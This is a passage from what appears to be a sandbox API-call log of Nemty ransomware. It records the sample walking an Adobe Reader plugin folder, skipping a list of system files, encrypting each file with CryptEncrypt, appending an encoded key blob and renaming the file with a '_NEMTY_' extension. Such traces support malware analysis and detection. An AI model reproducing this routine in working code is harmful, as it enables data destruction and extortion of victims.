hHeap=0x4f90000) returned 1 [0191.445] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.PTB", cAlternateFileName="QUICKT~1.PTB")) returned 1 [0191.445] lstrcmpiW (lpString1="QuickTime.PTB", lpString2=".") returned 1 [0191.445] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="..") returned 1 [0191.445] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="...") returned 1 [0191.445] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="windows") returned -1 [0191.445] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="$RECYCLE.BIN") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="rsa") returned -1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="NTDETECT.COM") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="ntldr") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="MSDOS.SYS") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="IO.SYS") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="boot.ini") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="boot.ini") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="ntuser.dat") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="desktop.ini") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="CONFIG.SYS") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="RECYCLER") returned -1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="BOOTSECT.BAK") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="bootmgr") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="programdata") returned 1 [0191.446] lstrcmpiW (lpString1="QuickTime.PTB", lpString2="appdata") returned 1 [0191.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.PTB", lpUsedDefaultChar=0x0) returned 13 [0191.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.PTB", lpUsedDefaultChar=0x0) returned 13 [0191.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.PTB", lpUsedDefaultChar=0x0) returned 13 [0191.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.446] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.PTB", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.PTB", lpUsedDefaultChar=0x0) returned 13 [0191.446] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.446] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.447] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.447] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.447] Sleep (dwMilliseconds=0x5) [0191.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c39010, dwHighDateTime=0x1d561e8)) [0191.457] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c39010, dwHighDateTime=0x1d561e8)) [0191.457] GetLastError () returned 0x0 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.457] GetLastError () returned 0x0 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.457] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.457] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.457] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.457] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="o+zD3uBnHrui8l11wzzL+74cotbAKhCZgVTVSZ34C0/MAc2BriIdVc+ZxHax15z2\r\nKj02V5wkYW+zZIX0MMRs4atzuiZOZBIYnIFsDGJMbzx3PYsBKriKbwFm+kFc8YsL\r\nXDC4hoHg3MEmXqw/Tyu2yABCMMkm3c7eoJTCARKp2k4WlYi6WiXBK/gG/ZMn4Lp+\r\nh0U/oG8QkZFDvyPKYNcf7ofCCQd9o67KbmuIGe9L28Km7xAVQ/F4rW7PebjPCgcN\r\nQeG5gNNDbna6HfLxfvU6yEqsYyUtsy++lF5JO1Y6GFjmKC7JwwZ/VXjw90AiG7z9\r\nItQUQSnY5L2EXZJwoY66Iw==\r\n", pcchString=0x653e29c) returned 1 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.457] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.457] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.458] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.458] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.458] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.459] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.459] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.460] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.460] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.460] CloseHandle (hObject=0x2f0) returned 1 [0191.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.460] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.460] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.460] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.ptb._nemty_kgobjgd_")) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.461] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="QuickTime.SUO", cAlternateFileName="QUICKT~1.SUO")) returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2=".") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="..") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="...") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="windows") returned -1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="$RECYCLE.BIN") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="rsa") returned -1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="NTDETECT.COM") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="ntldr") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="MSDOS.SYS") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="IO.SYS") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="boot.ini") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="boot.ini") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="ntuser.dat") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="desktop.ini") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="CONFIG.SYS") returned 1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="RECYCLER") returned -1 [0191.461] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="BOOTSECT.BAK") returned 1 [0191.462] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="bootmgr") returned 1 [0191.462] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="programdata") returned 1 [0191.462] lstrcmpiW (lpString1="QuickTime.SUO", lpString2="appdata") returned 1 [0191.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SUO", lpUsedDefaultChar=0x0) returned 13 [0191.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SUO", lpUsedDefaultChar=0x0) returned 13 [0191.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SUO", lpUsedDefaultChar=0x0) returned 13 [0191.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.462] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.SUO", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.SUO", lpUsedDefaultChar=0x0) returned 13 [0191.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.462] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.462] Sleep (dwMilliseconds=0x5) [0191.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c5f170, dwHighDateTime=0x1d561e8)) [0191.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25c5f170, dwHighDateTime=0x1d561e8)) [0191.472] GetLastError () returned 0x0 [0191.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.472] GetLastError () returned 0x0 [0191.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.473] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.473] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="G7LQnvlOJqVGGTBTp2+nqFvrKCzTAYWuXstfzg8956uuI0+hazF4powQkjjuxXV/\r\n3oVlEHrz6kgVBeYDX5nDh+gx/EuIJP8LTaC1vQMGBOVcGxyNFaai1i1EKQwBGKpk\r\nzr09ZUJmYJtQgkIBvTLgYU1PkLid8ogpaiC5gYZ2Wr2NiodJbQWamuzjCHG4F0KL\r\nZJo8N6bS96hbPLP7ty2f790AxVRt6bmWkEcppWalx/dN6zKTf6ftSvYB88HDL2Bn\r\nsDUEIctj0yyDeohOhjkKZ88EfaiYLBgNZoXwI1bWxYGJqmDWSKZgQyS/AI9kO38j\r\nD+X/WOiD2Qn7YMGEsXDdVw==\r\n", pcchString=0x653e29c) returned 1 [0191.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.473] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.473] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.473] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.473] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.475] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.475] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.475] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.475] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.475] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.476] CloseHandle (hObject=0x2f0) returned 1 [0191.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.476] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.476] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.476] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.476] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 